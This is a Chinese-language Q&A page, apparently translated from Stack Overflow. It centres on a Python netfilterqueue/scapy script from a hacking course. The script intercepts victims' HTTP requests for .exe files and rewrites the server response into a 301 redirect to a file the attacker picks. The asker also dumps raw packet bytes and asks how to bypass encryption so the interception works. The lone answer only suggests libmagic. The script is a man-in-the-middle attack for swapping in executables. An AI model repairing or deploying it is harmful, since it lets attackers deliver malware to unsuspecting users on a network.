如何让我的下载替换器检测 .exe 文件

问题描述 投票:0回答:1

我正在上 Zaid 的课程,但我似乎无法获得他在数据包原始层中获得的相同负载,因此代码无法正常工作。

这是代码:

import netfilterqueue
import scapy.layers.inet6 as scapy
import scapy.layers.http as scap

ack_list = []

def set_load(packet, load):
    packet[scap.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scap.TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy.Raw in scapy_packet and scapy.TCP in scapy_packet:
        if scapy_packet[scap.TCP].dport == 80:
            if ".exe".encode() in scapy_packet[scap.Raw].load:
                print("[+] Exe Request")
                ack_list.append(scapy_packet[scap.TCP].ack)
        elif scapy_packet[scap.TCP].sport == 80:
            if scapy_packet[scap.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scap.TCP].seq)
                print("[+] Replacing file")
                modified_packet = set_load(scapy_packet, "HTTP/1.1 301 Moved     Permanently\nLocation: https://www.example.org/index.asp\n\n")
                packet.set_payload(bytes(modified_packet))
    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run() `

相反,它给了我这个乱码。有谁知道如何制作我的代码以便它知道哪个数据包是

.exe
文件的一部分?

load      = '\\xac\\xfdl\\x9c\\xc8\x11\x0e\\xafu\\x80xb\x16\\xe5\x02\\xbcW\\x85>\\xa2Ț\\xfd\\xc6TF\\x8dK\\xf8\ cd\\xe9;Z25\x1a\\xaa\\xe3;/\\xdcG!o\\xf8\\xc8|\\x93\x19p\\xe5o\\xdb6\\xb4\\xf0\x0b\\xbf\\x86F9ˆ\\xef\x04\\xb6\\xea>O(\\xca\\xc4\\xe3z\x11\\xf7r\x18^Z\\x98\\xa8\\x8e\x1ep=r{n\\xca\\xc4j\\xfai\\xaf+\\xff\\xddC\x02)\x10\\xf4;\x05"\\xba\\xfb\x07\\xb6%5*0\\xef\\x87T8\\x9b\\x98\\xb1o\x13\x17\t\\x86j\\xf3]#\\xa0xu\\xc0\\xae\\xdd\x08\\xd1*\\xfc\\x9e*\\xe7\\\\xaeJ\\x98\x7f\\x8e\\x9cLb\\x94|\\xf7/"\\xd1\\xfd\\x87V\\xa0A\\xc6\x06+\\xbd(e\\xa3\x0b\\x86\\xb7?Uɰ\\xda\x1dO\\xb8\\xd8\\xe7\\xb9\\xe1P\\xc8X\\xc2\r\\xe0y\x03\\x88\\xb0s\\x8e\\xe5\\xd2\r\\xdc\x14\\xadd\x0c\\xcaO\\xc4M\\x96O\\x83nEJ\\xf5\\xba\\xd4\\xf1\\xe9e\x1d\\x88\\xa5~\\xc3/>\\x80\x05(\\xda"\x0f\x0b[!\t\x01,U\x02\\xd7?\n\\xde\x17\\x82됌c\\x9a\\xc7?\\xdcƗ\\x8ex\x06\\xdcc\\xcaqf\x06\\xec\\xb4\\xfe\x01\\xefӫ\x1b]\x00hc\\x95\\xcax:dBE\x1bŏ\\xc1\\xff\\x94\\xf4\x14\\xee\\xe5\\x99\\xe7\\xc1\x0fq(\\xcd%\x02\\xbd\\xf4~\\xadr\x11\x07\\xac\'\\xca\\xe5\\xa7|\x13\\xe4\\xa8a\\x80\x052\\x80\\xa8\\x85\x17Hdzs_c9\\xe3^\x1cј\\xa8X\\xd3\\xeegq* ,=$\\xa3\\x96\\x91\\xde\x18\\xbdyF\\xbeR\x0btv\\xc2\x7f\\xfe\x15\\xef\\xde\x0c1\\xb9\\xfbx\\x951\\xcc5\\x80\\xadm\x17G\\xd67\x01\\xbd\x02\r\\xd6\\xe0]\\xe4\\xe2\\x88ߟN\\xe6\\xcc\'DR\x1f-F/~\x0f\\x9e\x0b\\xcbF\\xd3g\\xaa\\xbfi\\xd3^\\x98\\xd2\\xee\\xff\\xbb\\xd8i\\xdc(\\x8fZ\\xecؗ\\xa0\x1a\\xf0\'նm\\xd1:\x1cXw\x02\x1fT\\xc7쇶Q|ϰS\\xf2\\xb4\\xe4\\xe5\\xa19\\x97\\xb7}\\xd1}\\xcb\x01\x15\\xe9\x0e\\xce\\xf3c\\xe4\\x97c\\xac\\xe8R\\\\xbb\\xe6+\\xb7O\\x9b\x0b\\x85\\xfb\\xb6\\xe6\\xdf\x08\\xff\\xa6\\xdf\x7f\u038dP\\x97\\xf1E\x15\x19\\xb0BO\\xd6;tFD\\xfcV)\\x9c\\xfa\\xf8\\xd2\\xd7~\\xd9 \\xff9:\\x90\x18\x1d\\xfb\\xfdD\\xb0\\xcav4\\x81]#`Zx4\\xae#T\\xe6`\\xb7tt>O\x0c\\xf3\x0ca~\x13\\xa7y7\\xac\\xe9c!\x0f\\xd0ճ\\xe5lۦ\\xe7\tr\\x97؏\x15\\xfd\\x82\x1a\x18X\\xe2\\xd6"Z\x1f\\xf1U\\xa3A\\xfaʁ\\x93\x1e\\xa1Q\x7fK\\xd1:\\xa6~3\\x97\\x9fL\\x9e\\x93\x11\\xa1\\xd6^\\xdck\\xd8s\\xfc\\xf5\\xc 7\\xf3\\xd24\\xb4z\\xa1\x13V\\x82\\x98\\xdfzy\\xcb\\xcc\\xf48\x1cG\\xcbI\\x9f\\xad\\xe1&/m\x05\\xc6\\xc5\\xfb\\xb0ߑ~\\xc8~\x06\\x950\\x88Z\x14\\x88\\xe3Na\\xd9]Ue\\xee\\xd3V\\x8d\\xe8\\xc6\x00\\x96T7D\\xd7\\xddm\\x86\\xb7\t\\xbe\\x8cM#\\xedz\\x87Ȫww\\xe2\\xb40\\xe8\\x8bi\\xfd\\xd4\x0cF\\x957\\xe3\x04\\x85\\xff\\xd37\'\\xee[\x1cᄆ)\\xe4\\x93\x18\\xd9r)\x115\\xd1i-{\\xe27\\xc1\\xb5\\x8a\x02\\xc4\\xfb\x0b0ݞdr\\x88}F\\xa5\\xf5\t\x15\\xd9Y\\xe4i\x0b\\xabA\\xdbCO\x1b\\xa1\\xa7Q\\x9b0\\xc7j\\xc9|\x01\\xee\x05\x19Q6X\\xad\\x8f\\xa7T.u\\xa3\\xfd\\xcb<\\xeeQ\\x98(\x11\\xfd\\xf7H\\xfe>\\xbf\x03\\xe6\\xc6+\x0f\\xa6M\\xd2\\xc8\x0f:\\xbb\\xd1"\\xec\\xf4C\\xa6\x06\\xef\\xf7\\xf7к\\xe6X\x0f>\\xc5\t\\x8f\\xb7\\xae*\x0e\\xa8\x06\\\\x90KH\\x93\\xb5\\x94ܕ6vf\\x8c\x0f)Z\\xf3\\x92>\\xffV`Ye"\\xfa\n\\xbd\\x80\x7f\\xe9\x11\\x97^q\\xaf\\xc6\\xce\\xc3\\xe4\\xfc\\xcb`]#Q\\x8b\\xab\\xf5>Pܑ\x13\\xe0\x13rn\x13\x03\x1f\\xf5\\x9bO\\xfb\\xcf\\xc0\\xdf\\xe6\\xbdO\\xaa\\xd3\\xfb\\xc9_\\xf8r u\\xf3\\xb9\\xe2\\xf6\r\x0bGe\\xfbK\\x82_\\x87\\\\xa5mH\\xad\\xf4\\xb2\\xe4\\xfc\\xaax\\xf7op\\xaet\x16e8\\x8e\\xa9}g\\xdf\\xf4MK\\x85\x11\x03?\\xe5\\xef\\x80\x0c\x0c\\xa2ŀq\\xbfМ\\xe5\\xaf\\xfd\\xa6\\xeb_p\\xa8\x02\\xa7j\\x81Ki\x00_\\x8f\\xf1\\xdc37\x14+E\x1f\\xe89\\xfb\x04xT\\xea\\xb0eS\\xf7\x1b?\\xecs\x12\\x93G\\xc6\\xd5b]\'\\x9e\\xf0\\xe7̓\\x8b\\xcb\\xd6a\x0b\x00&\\x84\x16\\xce\\xd6E\\xb3\\x82\x10\x1d\\xfd\\x80+;]\x1f,GN\\x9e\\xb5D\\x84\\xdbW\\xa0\\x93\\xf1\\xc9\\xc5h\\x9f\\xc7\\xf2\\x97\x0e\\xe2Y8\\xee$\\xf79\\xad\\x96\x05G\\xd9)$0\\x84m\\xa8EW\\xf13\tZ\x17\\x9a\x0f\x1dZ\\xb3\\x82\u070e\\xef\x17c#5\\x88\n\r\\xd3N\\xdfq\x05\x04\\xa5\x00\x04\x0e%\\xfb\\xbbH\\xe2\\xc8}\x7fd\\xe5t\x02\\xfd䵉i\x1e%O\\xc7\x05ȿ\\xb5\\xfaO#\x1b\\xb0\\xbb\\xb1&!\\xaf\\xf84\\xbb\\x95\\xa4\\xd4\x03\\x98x$ވ\\xa4c\\xd4Q7Q|\x19\\x89u\\xcf\\xc5]q\x14(\\x9a\\xe0\\xc9\\xda\\xeae\\xb7\\xbbl\\xa0h\\x9e.\x1c\x10<\\xf1\x1b\\x8a\\xd1\x8a\\x99\\xd9B\\xe9\\xe0-\\xf0K7\'\\x87\x1buM\\xa7R\\xba\\x97\\xee\\xf8k\\xa1\\x81#\\xb5\\x94E\x0f\\xec\\x88ٸPu\x07\\x97\x101\\xb2\x9c|./\x11;l\\xaa\\xc7\\xc9?\x0fB:|p\x14\x0b\\xdcl\\xbc\\xf6\\xdf[G\x08WH8\\xd4WY=^{\\xb8\\xb5D\\xc9xT\x1b`\x18\\xe0Fu\\x836\\xd0tx\\x90d\\xbe'

代码应该找到 .exe 文件并将它们替换为我给它的文件,但在教程中加载的是文字

.exe
字符串,但对我来说似乎不是这种情况。我试着寻找所有
.exe
数据包都有的东西,但我没有成功。我也不知道数据包是否可以加密。如果是这样,我应该怎么做才能绕过该加密?

python linux networking scapy netfilter
1个回答
0
投票

您可能正在寻找一种从文件内容中确定文件类型的方法。在类 unix 系统中执行此操作的标准方法是 libmagic。存在一个python绑定

© www.soinside.com 2019 - 2024. All rights reserved.